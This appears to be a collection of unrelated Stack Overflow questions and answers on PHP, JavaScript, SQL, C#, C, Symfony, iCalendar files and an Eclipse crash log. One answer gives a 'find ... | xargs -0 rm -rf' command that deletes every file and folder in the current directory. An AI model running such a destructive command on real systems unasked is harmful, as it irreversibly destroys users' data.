------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="event_start_time" 01:00 AM ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="event_end_time" 02:15 AM ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="recurrence_freq" daily ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="recurrence_interval" ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="recurrence_byweekno" 1 ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="recurrence_byday" 0 ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="recurrence_days" 0 ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="location_latitude" 38.0333333 ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="location_longitude" -117.23333330000003 ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="location_name" test ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="location_address" test ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="location_town" test ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="location_state" Georgia </code></pre> <p>Clearly there's a lot more happening with the form's post than is the case with mine. Unfortunately, I'm afraid I don't understand all of it.</p> <p>I have the following concerns about these differences:</p> <ul> <li>That my (apparently) querystring data is not being read because it's not being sent correctly ($_GET as opposed to $_POST)</li> <li>That there is possibly validation code in the PHP that saves the data after this post that is blocking it somewhere</li> </ul> <p>Can anyone explain what exactly the differences here are and how I can emulate the form's post as per my requirement?</p>
37220726	0	Get the product of a list using java Lambdas <p>How do you get the product of a array using java Lambdas. I know in C# it is like this:</p> <p><code>result = array.Aggregate((a, b) =&gt; b * a);</code></p> <p>edit: made the question more clear.</p>
5799449	0	 <p>Regarding to FB policies, I do not think you are breaking them. At most, you will need to add it to your privacy policies:</p> <blockquote> <p>3 . You will have a privacy policy that tells users what user data you are going to use and how you will use, display, share, or transfer that data and you will include your privacy policy URL in the Developer Application.</p> <p>4 . A user's friends' data can only be used in the context of the user's experience on your application.</p> <p>(...)</p> <p>7 . You will not use Facebook User IDs for any purpose outside your application (e.g., your infrastructure, code, or services necessary to build and run your application). Facebook User IDs may be used with external services that you use to build and run your application, such as a web infrastructure service or a distributed computing platform, but only if those services are necessary to running your application and the service has a contractual obligation with you to keep Facebook User IDs confidential.</p> </blockquote> <p>But, looking at that library, it seems that they're using the old REST API that is being deprecated, (i.e.., URL <code>https://api.facebook.com/restserver.php?method=fql.query...</code> instead of <code>https://api.facebook.com/method/fql.query?...</code>)</p> <p>I would either (1) contact them to see if they will update the library soon or (2) use another library (such as the <a href="https://github.com/facebook/facebook-android-sdk" rel="nofollow">android-facebook-sdk</a>).</p>
38233222	0	 <p>If your code uses linear algebra, check it. Generally, roundoff errors are not deterministic, and if you have badly conditioned matrices, it can be it.</p>
40726718	0	Passing Javascript (HTML Table Contents) array to php file <p>Im very confused, I have been looking for a solution to pass HTML table contents via a javascript array (if this is indeed the best way of capturing HTML Table data) to a php file so I can then do whatever I like with the data.</p> <p>I have simplified the table shown in my example code in order to make it easier, the table i will be using live will have a lot of rows with more complicated data etc.</p> <p>The current code in get_table_data_php is:-</p> <pre><code>&lt;script type="text/javascript" src="http://code.jquery.com/jquery-1.10.1.min.js"&gt;&lt;/script&gt; &lt;div id ="results_table"&gt; &lt;table id="stats_table"&gt; &lt;tr&gt; &lt;td&gt;Car&lt;/td&gt;&lt;td&gt;Engine&lt;/td&gt;&lt;td&gt;Color&lt;/td&gt;&lt;td&gt;Price&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Ford&lt;/td&gt;&lt;td&gt;2 Litre&lt;/td&gt;&lt;td&gt;Blue&lt;/td&gt;&lt;td&gt;22,000&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Audi&lt;/td&gt;&lt;td&gt;2.5 Litre&lt;/td&gt;&lt;td&gt;White&lt;/td&gt;&lt;td&gt;25,000&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; &lt;script&gt; var myTableArray = []; $("table#stats_table tr").each(function() { var arrayOfThisRow = []; var tableData = $(this).find('td'); if (tableData.length &gt; 0) { tableData.each(function() { arrayOfThisRow.push($(this).text()); }); myTableArray.push(arrayOfThisRow); } }); alert(myTableArray); // alerts the entire array alert(myTableArray[0][0]); // Alerts the first tabledata of the first tablerow $.ajax({ type: "POST", data: {myTableArray:myTableArray}, url: "stats.php", success: function(msg){ $('.answer').html(msg); } }); &lt;/script&gt; </code></pre> <p>The code in the stats.php file being called is as follows:-</p> <pre><code>&lt;?php var_dump($_POST); ?&gt; </code></pre> <p>The code in the calling php file runs as expected and shows (via the alert(s) which are there for my sanity) the table data as expected.</p> <p>The file called (stats.php) however does not do anything and as such I do not know if its working and what the issue is as to why it isn't.</p> <p>I am pretty new to the Javascript and Ajax side of things so any help would be appreciated.</p> <p>Regards</p> <p>Alan</p>
7299400	0	Interpolate missing values in a MySQL table <p>I have some intraday stock data saved into a MySQL table which looks like this:</p> <pre><code>+----------+-------+ | tick | quote | +----------+-------+ | 08:00:10 | 5778 | | 08:00:11 | 5776 | | 08:00:12 | 5778 | | 08:00:13 | 5778 | | 08:00:14 | NULL | | 08:00:15 | NULL | | 08:00:16 | 5779 | | 08:00:17 | 5778 | | 08:00:18 | 5780 | | 08:00:19 | NULL | | 08:00:20 | 5781 | | 08:00:21 | 5779 | | 08:00:22 | 5779 | | 08:00:23 | 5779 | | 08:00:24 | 5778 | | 08:00:25 | 5779 | | 08:00:26 | 5777 | | 08:00:27 | NULL | | 08:00:28 | NULL | | 08:00:29 | 5776 | +----------+-------+ </code></pre> <p>As you can see, there are some points where no data is available (quote is <code>NULL</code>). What I would like to do is a simple step interpolation. This means each <code>NULL</code> value should be updated with the last value available. The only way I managed to do this is with cursors, which is pretty slow due to the large amount of data. I'm basically searching something like this:</p> <pre><code>UPDATE table AS t1 SET quote = (SELECT quote FROM table AS t2 WHERE t2.tick &lt; t1.tick AND t2.quote IS NOT NULL ORDER BY t2.tick DESC LIMIT 1) WHERE quote IS NULL </code></pre> <p>Of course this query will not work, but this is how it should look like.</p> <p>I would appreciate any ideas on how this can be solved without cursors and temp tables.</p>
1939909	0	 <p>Try signing up here: <a href="https://www.epsonexpert.com/login" rel="nofollow noreferrer">https://www.epsonexpert.com/login</a></p> <p>That seems to be the place to get technical info about Epson POS products. I can't say if they specifically have what you want. I signed up just now, but now I have to wait for them to get back to me:</p> <blockquote> <p>Thank you for registering with EpsonExpert. We have received your registration information and will be contacting you shortly, once your request has been reviewed.</p> </blockquote>
33923044	0	Variation with variable count of possibilities <p>I have programmed a game where the player has 30 days to build city. I like to know all the possible approaches the player could take so that i know which is the best one.</p> <p>Basicly with 30 days and 9 projects which can be bought and upgraded the mathematical formula would be n^k. Which in our case woud be 9^30 = 42.391.158.275.216.203.514.294.433.201 But because it is a game the projects the player can buy per round depend on variabels like for examples coins. So its something like 4*1*5*3*2...</p> <p>My problem is that GameStats, which simulates the game environment, does not get reset when a new buildpath is added.</p> <p>Example</p> <p>The player starts with 15 coins and an income of 5. First day he build houses for 10 coins</p> <ul> <li>day 0: buildpath{house}; coins 15 -> bought house -10 coins</li> <li>day 1: buildpath{house, empty}; coins 5 -> no coins to buy anything</li> <li>day 2: buildpath{house, empty, house}; coins 10 -> player can buy house, street or cycletrack</li> </ul> <p>now for the next possible buildpath we start at day 2 where could also have bougth the street or the cycletrack and had 10 coins but GameStats which holds the coins is now by 15coins.</p> <p>How do I keep the GameStats unique for every possible buildpath?</p> <pre><code>public string[] GetPermutation(int days, List&lt;BaseProject&gt; projects) { ArrayList output = new ArrayList(); GameStats game = new GameStats(); GetPermutationPerRef(days, projects, ref output, ref game); return output.ToArray(typeof(string)) as string[]; } private void GetPermutationPerRef(int days, List&lt;BaseProject&gt; projects, ref ArrayList output, ref GameStats game, string outputPart = "") { if (days == 0) { outputPart += " points: " ; output.Add(outputPart); } else { if(projects.Count &gt; 0) { foreach (BaseProject p in projects) { // construct the current project game.BuyProject(p); // move on to the next day game.nextDay(); // find all the projects the player could buy the next day projects = game.GetBuyAbleBaseProjects(); GetPermutationPerRef(days - 1, projects, ref output, ref game, outputPart + p.projectName +" "); } } else { // dont buy or upgrade any project game.nextDay(); projects = game.GetBuyAbleBaseProjects(); GetPermutationPerRef(days - 1, projects, ref output, ref game, outputPart + "empty "); } } } </code></pre>
27240096	0	 <p>If you have load balance server before your cxf services, it makes sense that you define the publishedEndpointUrl to the load balance address.</p> <p>For you case, it looks like you want to SOAP UI to access other address which has on listener there.</p>
39748401	0	 <p>According to the <a href="https://docs.python.org/3/library/socket.html#socket.socket.connect" rel="nofollow">documentation</a>, <code>connect</code> expects a tuple <code>(string, int)</code>, with the string being the ip address and the int being the port. You can modify your code this way to fix it :</p> <pre><code>s.connect((ip, int(port))) </code></pre> <p>Hope it'll be helpful.</p>
10856333	0	 <p>You have</p> <pre><code>&lt;input type="hidden" value="1" name="id"&gt; &lt;input type="hidden" value="2" name="id"&gt; </code></pre> <p>etc.</p> <p>You're going to only get number 5 because it is the last one, and is overwriting the one before it.</p> <p>Same with the input texts, the <code>name</code> attribute should be different.</p> <p>Do a <code>var_dump($_POST);</code> to see all that is being POST'ed. </p>
843713	0	 <p>See the <a href="http://developer.apple.com/mac/library/documentation/Cocoa/Reference/ApplicationKit/Classes/NSView_Class/Reference/NSView.html#//apple_ref/occ/instm/NSView/setAutoresizingMask:" rel="nofollow noreferrer">setAutoresizingMask:</a> method of NSView and the associated <a href="http://developer.apple.com/mac/library/documentation/Cocoa/Reference/ApplicationKit/Classes/NSView_Class/Reference/NSView.html#//apple_ref/doc/constant_group/Resizing_masks" rel="nofollow noreferrer">resizing masks</a>.</p>
14199281	0	 <p>Piston loads a http status response via <code>utils.rc</code>, no errors are raised.</p> <p>from the documentation:</p> <pre><code>Configuration variables Piston is configurable in a couple of ways, which allows more granular control of some areas without editing the code. Setting Meaning settings.PISTON_EMAIL_ERRORS If (when) Piston crashes, it will email the administrators a backtrace (like the Django one you see during DEBUG = True) settings.PISTON_DISPLAY_ERRORS Upon crashing, will display a small backtrace to the client, including the method signature expected. settings.PISTON_STREAM_OUTPUT When enabled, Piston will instruct Django to stream the output to the client, but please read streaming before enabling it. </code></pre> <p>I'd recommend to setup a logger, <a href="http://sentry.readthedocs.org/en/latest/" rel="nofollow">sentry</a> together with <a href="http://raven.readthedocs.org/en/latest/config/django.html" rel="nofollow">raven</a> is rather convenient and you get to configure your own log level and handler.</p>
17622297	0	How do you make buttons re sizable at run time? <p>I want to make it so that my buttons change size based on the text inside them. Kind of like a Label with it's height and width set to "Auto", but I would like to start with a pre-determined dimension. </p> <p>Is there a way to place a button, size it, and allow for re-sizing based on run-time text changes? If so, how do I do this?</p> <p>I've looked at this example: <a href="http://social.msdn.microsoft.com/Forums/vstudio/en-US/188c196e-90d8-4584-bc62-38d7e008cf5c/how-do-i-resize-button-text-upon-button-resize" rel="nofollow">http://social.msdn.microsoft.com/Forums/vstudio/en-US/188c196e-90d8-4584-bc62-38d7e008cf5c/how-do-i-resize-button-text-upon-button-resize</a></p> <p>It has to do with inserting a textblock on top of the button, but when the text adjusts sometimes the new text becomes too small because the text does not wrap for some reason...</p> <p>Thank you.</p>
17491417	0	PrimeFaces PickList : two String fields filter <p>I was wondering if it's possible to have a two fields filter with a picklist of primefaces. I tried this but it's not working. I would like to filter on firstname and name but they are in two different fields.</p> <pre><code>&lt;p:pickList value="#{bean.usersDualModel}" var="user" itemValue="#{user}" itemLabel="#{user.firstname} #{user.name}" converter="user" showSourceFilter="true" showTargetFilter="true" filterMatchMode="contains" &gt; &lt;p:column&gt; &lt;h:outputText value="#{user.firstname} #{user.name}" /&gt; &lt;/p:column&gt; &lt;/p:pickList&gt; </code></pre> <p>Thanks</p>
39744557	0	Can a server ignore an SQL request when sending several requests in the same WHILE? <p>Same as the title says: Can my sql server ignore some of my requests just because it is busy?</p> <p>I think it's possible, and I asked because it happened to me a few hours ago (before i find a better way to send my data in one time instead of sending it in a while), I was sending my data in a loop, but when I checked if the DATA was stored properly a little part of my 10 requests were just ignored...</p> <p>Of course I've done some basic check to know if my data was set before sending it, and it seems that it was.</p> <p>Sorry for the grammar, i'am not english, thanks to you who will correct me, good job.</p>
33760834	0	 <p>Try this:</p> <pre><code>Provider=MSDAORA.1;Data Source=(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = SERVER0123)(PORT = 1521))(CONNECT_DATA =(SERVER = DEDICATED)(SERVICE_NAME = PRODDB)));User Id=USER_ID;Password=USER_ID_PASSWORD </code></pre> <p>Obviously you need to replace the server, User ID and Password.</p>
6339367	0	 <p>Thanks for the reply..</p> <p>I got below command working to meet my scenario for now.. but trying to see if there is any direct command to find the latest ID of a file on remote server...</p> <blockquote> <p>git log 'branch-name' -- 'file-name'</p> </blockquote> <p>which displaying log messages with ID, Author and Date.. I am fetching the top first line with unix pipe head command.</p> <blockquote> <p>git log 'branch-name' -- 'file-name' | head -1</p> </blockquote>
21369663	0	 <p>See my answer to another similar question just posted this morning:</p> <p><a href="http://stackoverflow.com/questions/21366896/makefile-error-that-works-fine-in-console">Makefile error that works fine in console</a></p> <p>The error you see does <em>not</em> mean an error in the makefile. If there were, <code>make</code> would give information on what was wrong with your makefile and the linenumber in the makefile where it happened.</p> <p>The problem you have in both the above examples is you're trying to compile code that requires some development libraries (alsa in the first one, GTK in the second one) and you don't have them. You'll need to use your package manager to install them; exactly what commands you need and what package names you need depends entirely on which distribution of Linux (if you're using Linux) you have, and you don't give this information.</p> <p>Once your compile operations work, then you won't get this error from make.</p>
7185714	0	Basic Authentication in REST WCF <p>I have developed one REST WCF and would like to client will use it with basic Authentication, I have hosted this service in IIS 7.0 and disabled all authentication except Basic Authentication.</p> <p>Now problem is that when call this service from any other application (in my case i am calling this from ruby command prompt) with Header "Basic bXlhZGRvbjpDcFplcUc5MzlHdDZQMEtD" although i was not able to authenticate this service.</p> <p>Make it more simple , when i will access this service (.svc) from browser due to basic Authentication it will prompt to enter username &amp; password , so which residential i need to pass here and to which credential i need to compare (weather i need to set in web.config or IIS)??</p> <p>Thanks in Advance Arun.</p>
5592334	0	 <p>You have to use css property</p> <pre><code>resize: none; </code></pre> <p>here is the Demo <a href="http://jsfiddle.net/2hPzW/" rel="nofollow">Jsfiddle</a></p>
36755909	0	 <p>Just from what you have provided, I can't tell you why it won't work. I do not have a screensaver to test that with (that I know of). But I'm able to do all four of these with Notepad opening a text file:</p> <p><strong>Separate ProcessStartInfo</strong></p> <pre><code> ProcessStartInfo procInfo = new ProcessStartInfo("notepad.exe", "c:\\test.txt"); Process proc = Process.Start(procInfo); proc.WaitForExit(); </code></pre> <p><strong>Separate ProcessStartInfo with Properties</strong></p> <pre><code> ProcessStartInfo procInfo = new ProcessStartInfo(); procInfo.Arguments = "c:\\test.txt"; procInfo.FileName = "notepad.exe"; Process proc = Process.Start(procInfo); proc.WaitForExit(); </code></pre> <p><strong>Inline ProcessStartInfo</strong></p> <pre><code> Process proc = Process.Start(new ProcessStartInfo("notepad.exe", "c:\\test.txt")); proc.WaitForExit(); </code></pre> <p><strong>No PSI, Just Process</strong></p> <pre><code> Process proc = Process.Start("notepad.exe", "c:\\test.txt"); proc.WaitForExit(); </code></pre> <p>You may want to go with the first one so that you can breakpoint on the "Process proc..." line and examine the properties of <code>procInfo</code>. The <code>Arguments</code> property should show the 2nd value (in my case, <code>c:\\test.txt</code>), and the <code>FileName</code> property should be the path to what you are executing (mine is <code>notepad.exe</code>).</p> <p><em>EDIT: I added the separate one with properties so you can really see explicit setting.</em></p> <h2>CONFIGURE A SCREENSAVER</h2> <p>I have worked out an example using the 3D Text screensaver:</p> <pre><code> string scrPath = @"C:\Windows\System32\ssText3d.scr"; ProcessStartInfo procInfo = new ProcessStartInfo(); procInfo.FileName = scrPath; procInfo.Verb = "config"; procInfo.UseShellExecute = false; Process proc = Process.Start(procInfo); proc.WaitForExit(); </code></pre> <p>I didn't use the <code>Arguments</code>. Instead, I used the <code>Verb</code>. This requires <code>UseShellExecute</code> to be set to <code>false</code>. I got the expected configuration dialog instead of the screensaver running.</p> <p><strong>More About Verbs</strong></p> <p>This is where the verbs are for screen savers. <a href="https://i.stack.imgur.com/rw7q6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rw7q6.png" alt="enter image description here"></a></p> <p>You can also define custom verbs: <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/cc144175(v=vs.85).aspx#register_application_arbitrary" rel="nofollow noreferrer">Register an Application to Handle Arbitrary File Types</a></p>
33583762	0	 <p>This</p> <pre><code>System.out.printf("\n%-5s%-5s%-15s%-15s%-6s%-15s%-5d\n", "Sno.","B.No.","BOOK-NAME","AUTHOR-NAME","COPIES","PUBLISHER","PRICE"); </code></pre> <p>will not work because the last is a number and you pass it the string "PRICE".</p> <p>You should use different format string for the columns names.</p> <p>Column names : <code>"\n%-5s%-5s%-15s%-15s%-6s%-15s%-5s\n"</code></p>
36152534	0	 <p>You can bind mousedown\mouseup events to <code>document</code>and mouseenter event on canvas.</p> <p>I'd suggest to use capturing phase instead (which jQuery doesn't support) to avoid any propagation event stopped in some way.</p> <p>See an example:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code> document.addEventListener('mousedown', function(e) { $(this).data('mouseHold', e.which); }, true); document.addEventListener('mouseup', function(e) { $(this).data('mouseHold', false); }, true); $('canvas').on('mouseenter', function() { if ($(document).data('mouseHold')) { console.log('holding mouse button ' + $(document).data('mouseHold')); } });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>canvas { background: blue; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;canvas&gt;&lt;/canvas&gt;</code></pre> </div> </div> </p>
14741320	0	 <p>Today I found an event in the Entity Framework that seems to be what I am looking for. <a href="http://msdn.microsoft.com/en-us/library/system.data.objects.objectcontext.objectmaterialized.aspx">ObjectContext.ObjectMaterialized Event</a>. Apparently, DbContext implements IObjectContextAdapter which in-turn exposes the ObjectContext. From there I can subscribe to the ObjectMaterialized event.</p> <blockquote> <p><em>MSDN Reads</em>: Occurs when a new entity object is created from data in the data source as part of a query or load operation.</p> </blockquote> <p>The following code demonstrates how I used the ObjectMaterialized event to solve my problem in which one of my preferences was to have a central point to place the WCF client access logic.</p> <pre><code>// seperate assembly - does not use Domain.Repositories assembly namespace Domain.Models { // the data contract [DataContract] public class ProductInventoryState { [DataMember] public int StockStatus { get; set; } [DataMember] public IEnumerable&lt;String&gt; SerialNumbers { get; set; } // etc.... } // the entity public class Product { public Guid Key { get; set; } public string ProductCode { get; set; } public ProductInventoryState InventoryState { get; set; } // etc.... } } // seperate assembly - uses Domain.Models assembly namespace Domain.Repositories { public class MainRepository : DbContext { public MainRepository() { ((IObjectContextAdapter)this).ObjectContext.ObjectMaterialized += ObjectContext_ObjectMaterialized; } protected void ObjectContext_ObjectMaterialized(object sender, ObjectMaterializedEventArgs e) { if (e.Entity == null) return; if (e.Entity is Product) { Product product = (Product)e.Entity; // retrieve ProductInventoryState from 3rd party SOAP API using (ThirdPartyInventorySystemClient client = new ThirdPartyInventorySystemClient()) { // use ProductCode to retrieve the data contract product.InventoryState = client.GetInventoryState(product.ProductCode); } } } } } </code></pre>
15248876	0	 <p>From the following somewhat arbitrarily found man page for atoi....</p> <p><a href="http://linux.die.net/man/3/atoi" rel="nofollow">http://linux.die.net/man/3/atoi</a></p> <p>*<em>The atoi() function converts the initial portion of the string pointed to by nptr to int. *</em></p> <p>In short, the function is working exactly as it is defined.</p>
8066121	0	Guid in Querystring is being transformed somehow <p>I am not sure why this is occuring but here are a few details that may help to find a solution:</p> <ul> <li>It seems to work correctly on most computers firefox and IE</li> <li>It occurs to certain Guids as others work</li> <li>We put the firewall in monitor mode and still occurs</li> </ul> <p>This is the line in PageModify.aspx building the query string: </p> <pre><code>Response.Redirect(string.Format("Editor.aspx?id={0}", pageId, CultureInfo.CurrentCulture)); </code></pre> <p>This is the output of the query string when all goes correctly: </p> <pre><code>https://example.com/Editor.aspx?id=1dfz342b-3a4d-4255-8054-93916324afs6 </code></pre> <p>This is what is viewed in the browser when redirected to Editor.aspx: </p> <pre><code>https://example.com/Editor.aspx?id=1dfz342b-3a4d-xxxxxxxxxxxxxxx324afs6 </code></pre> <p>Of course we get an invalid guid error when this line runs: </p> <pre><code>_PageEditId= new Guid(Request.QueryString["id"]); </code></pre> <p>Has anyone seen this? Could it be IIS settings? Nothing special is being done here and everyone's systems has the same baseline. It occurs to inside and outside customers.</p>
25897629	0	 <p>Directly, you need AJAX. </p> <p>Without AJAX, you can split the logic in two parts. Make a function of the logic that you want to run in back ground. And when the page gets loaded, do a postback to that function via JS.</p>
22151834	0	 <p>There has been no significant change in this area from C90 to C99, or from C99 to C11.</p> <p>C90 6.1.2.5 (there are no paragraph numbers, but it's the first paragraph on page 23 of the PDF) says:</p> <blockquote> <p>A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo the number that is one greater than the largest value that can be represented by the resulting unsigned integer type.</p> </blockquote> <p>Nearly the same wording (with the phrase "resulting unsigned integer type" changed to "resulting type" appears in 6.2.5 paragraph 9 in the C99 and C11 standards.</p> <p>The only significant change (that I'm aware of) is an addition in C99 regarding signed conversion. In C90, if a signed or unsigned value is converted to a signed integer type, and the result cannot be represented in the target type, the result is implementation-defined. In C99 and C11, either the result is implementation-defined or an implementation-defined signal is raised. (I don't know of any compiler that takes advantage of the permission to raise a signal.)</p> <p>As supercat points out in a comment, multiplication of two <code>unsigned short</code> values <em>can</em> overflow. Suppose <code>short</code> is 16 bits, <code>int</code> is 32 bits, and integer representations are typical (2's-complement for signed types, no padding bits). Then given:</p> <pre><code>unsigned short US = USHRT_MAX; // 65536 </code></pre> <p>both operands in the expression</p> <pre><code>us * us </code></pre> <p>are promoted from <code>unsigned short</code> to <code>int</code> (because <code>int</code> can hold all possible values of type <code>unsigned short</code>) -- but the product, which is nearly 2<sup>32</sup>, cannot fit in a 32-bit <em>signed</em> <code>int</code>.</p> <p>(During the C standardization process in the late 1980s, the committee had to choose between "value-preserving" and "unsigned-preserving" integer promotions. They chose the former. With unsigned-preserving semantics, the <code>unsigned short</code> operands would be promoted to <code>unsigned int</code>, and this problem would not occur.)</p>
28200365	0	Trying to figure out what this line of code means <p>This code is from a program I use to enter and track information. Numbers are entered as work orders (WO) to track clients. But one of the tables is duplicating the WO information. So I was trying to figure out a general outline of what this code is saying so that the problem can be fixed. </p> <p>Here is the original line:</p> <pre><code>wc.dll?x3~emproc~datarecord~&amp;ACTION=DISPLAY&amp;TABLE+WORK&amp;KEYVALUE=&lt;%work.wo%&amp;KEYFIELD=WO </code></pre> <p>What I think I understand of it so far, and I could be very wrong, is:</p> <pre><code>wc.dll?x3~emproc~datarecord~&amp;ACTION //No clue because don't know ~ means or using &amp; (connects?Action) =DISPLAY&amp;TABLE+WORK&amp;KEYVALUE //Display of contents(what makes it pretty) and the value inside the table at that slot =&lt;work.wo%&amp;KEYFIELD //Calling the work from the WO object =WO //is Assigning whatever was placed into the WO field into the left side of the statement </code></pre>
373228	0	 <p>I think this is a reasonable way:</p> <pre><code>find . -maxdepth 1 \! -name . -print0 | xargs -0 rm -rf </code></pre> <p>and it will also take care of hidden files and directories. The slash isn't required after the dot and this then will also eliminate the possible accident of typing <code>. /</code>. </p> <p>Now if you are worried what it will delete, just change it into</p> <pre><code>find . -maxdepth 1 \! -name . -print | less </code></pre> <p>And look at the list. Now you can put it into a function:</p> <pre><code>function enum_files { find . -maxdepth 1 \! -name . "$@"; } </code></pre> <p>And now your remove is safe:</p> <pre><code>enum_files | less # view the files enum_files -print0 | xargs -0 rm -rf # remove the files </code></pre> <p>If you are not in the habit of having embedded new-lines in filenames, you can omit the <code>-print0</code> and <code>-0</code> parameters. But i would use them, just in case :)</p>
40784620	0	Symfony3: set Custom FormType "name"/"blockPrefix" <p>I have a <code>Formtype</code>. In this <code>Formtype</code> I get over the <code>options</code>-Array in the <code>buildForm</code> function a key <code>additionalName</code>. I want to add this value to the <code>FormType</code> Name (in Symfony3 BlockPrefix). But how can I set this?</p> <pre><code>class AdultType extends AbstractType { /** * @param FormBuilderInterface $builder * @param array $options */ public function buildForm(FormBuilderInterface $builder, array $options) { $additionalName = $options['additionalName']; $builder -&gt;add('account', TextType::class,array( 'label' =&gt; 'account', 'required' =&gt; false, )) ; } /** * @param OptionsResolver $resolver */ public function configureOptions(OptionsResolver $resolver) { $resolver-&gt;setDefaults(array( 'data_class' =&gt; 'My\Bundle\WebsiteBundle\Model\Adult', 'csrf_protection' =&gt; true, 'cascade_validation' =&gt; true, 'name' =&gt; "" )); } /** * @return string */ public function getBlockPrefix() { //Here I need the $options['additionalName'] return 'my_bundle_websitebundle_adult_'.$options['additionalName']; } </code></pre> <p>I tried allready to set a variable private <code>$additionalName;</code> on the top of the class, set it in the <code>buildForm</code> function and get access to it with <code>$this-&gt;additionalName</code> in the <code>getBlockPrefix</code> Function. But the value in <code>getBlockPrefix</code> is empty. SO I think the <code>getBlockPrefix</code> is called before the <code>buildForm</code>.</p> <p>The Type is beeing called from another form:</p> <pre><code>$builder-&gt;add('adult', AdultType::class, array( 'additionalName' =&gt; $options['name'] )); </code></pre> <p>Thanks for any help!</p>
25760125	0	App is getting crash when i integrated and login through Gigya in social media <p>Terminating app due to uncaught exception 'com.gigya.GigyaSDK:InvalidOperationException', reason: 'Already logged in, log out before attempting to login again' <em>*</em> First throw call stack:</p> <p>Even I used [Gigya logout] prior to login statement in ios SDK, This issue happens when i try to login with facebook and Google plus</p>
20189582	0	How do i set the color for ics event? <p>From my application i want to send email with ICS event attachment to my customers. I have successfully send mail with .ics file. Now my customers want to display .ics event with some color. Is there any way to add color attribute into .ics file.Please refer my .ics file which was i send</p> <pre><code>BEGIN:VCALENDAR PRODID:-//Events Calendar//iCal4j 1.0//EN VERSION:2.0 CALSCALE:GREGORIAN BEGIN:VEVENT DTSTAMP:20131125T062336Z DTSTART:20131125T143000 DTEND:20131125T150000 SUMMARY:Pro-Lakshman Pro-Single Lesson 30 mins TZID:Asia/Kolkata UID:20131125T062337Z-uidGen@Lakshmanan ORGANIZER;ROLE=REQ-PARTICIPANT;CN=Lakshman:mailto:lakshmanan@xxxxxxx-it.com ATTENDEE;ROLE=REQ-PARTICIPANT;CN=Karthik:mailto:laksparis@xxxxx.com END:VEVENT END:VCALENDAR </code></pre>
7970072	0	 <p>Bundler offers this feature with <a href="http://gembundler.com/man/bundle-package.1.html" rel="nofollow">bundle package</a>.</p> <p>Note that this doesn't include gems with sources included via <code>:git</code> or <code>:path</code> options.</p>
27966745	0	backtrack on virtualbox not getting ip address <p>i am trying to use backtrack5 on my virtualbox and set my adapter to bridged so that backtrack can have connection to the internet. But its not getting an ip even though its requesting for one when ever it boots. I read on other forums that some dhcp servers are configured not to give more than one ip to one mac addrees.so I used ipconfig / release to release the host ip so that my guest can obtain an ip but still its not working.when I set the adapter to NAT, it picks up an IP address from VB no problem but that does not connect me to the internet. Can anybody help me?</p>
9037232	0	Problems running Eclipse 64 bit on 64 bit LInux RHEL5 <p>I have a fresh install of the latest Eclipse Helios for Java EE development installed on my computer for 64 bit linux. Usually I can launch Eclipse but after about 5 minutes of use it usually crashes. Here is an error I get from the command line:</p> <pre><code># # A fatal error has been detected by the Java Runtime Environment: # # Internal Error (constantPoolOop.hpp:244), pid=21791, tid=1090197824 # Error: guarantee(tag_at(which).is_klass(),"Corrupted constant pool") # # JRE version: 6.0_18-b07 # Java VM: Java HotSpot(TM) 64-Bit Server VM (16.0-b13 mixed mode linux-amd64 ) # An error report file with more information is saved as: # /home/bob/Desktop/Eclipse 64/eclipse/hs_err_pid21791.log # # If you would like to submit a bug report, please visit: # http://java.sun.com/webapps/bugreport/crash.jsp </code></pre> <p><strong>Edit: from hs_err:</strong> </p> <pre><code># # A fatal error has been detected by the Java Runtime Environment: # # Internal Error (constantPoolOop.hpp:244), pid=21791, tid=1090197824 # Error: guarantee(tag_at(which).is_klass(),"Corrupted constant pool") # # JRE version: 6.0_18-b07 # Java VM: Java HotSpot(TM) 64-Bit Server VM (16.0-b13 mixed mode linux-amd64 ) # If you would like to submit a bug report, please visit: # http://java.sun.com/webapps/bugreport/crash.jsp # --------------- T H R E A D --------------- Current thread (0x000000004fa99800): JavaThread "main" [_thread_in_vm, id=21792, stack(0x0000000040eb1000,0x0000000040fb2000)] Stack: [0x0000000040eb1000,0x0000000040fb2000], sp=0x0000000040faec80, free space=3f70000000000000018k Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code) V [libjvm.so+0x70e5f0] V [libjvm.so+0x2e3e26] V [libjvm.so+0x2de7da] V [libjvm.so+0x2dfc8e] V [libjvm.so+0x53b41b] V [libjvm.so+0x53f29f] V [libjvm.so+0x53f4c5] V [libjvm.so+0x53f23d] V [libjvm.so+0x3ce1e1] j java.lang.NoClassDefFoundError.&lt;init&gt;(Ljava/lang/String;)V+2 v ~StubRoutines::call_stub V [libjvm.so+0x3d5e8d] V [libjvm.so+0x5d9129] V [libjvm.so+0x3d5986] V [libjvm.so+0x33257e] V [libjvm.so+0x332734] V [libjvm.so+0x331e7e] V [libjvm.so+0x331fa0] V [libjvm.so+0x3a5766] 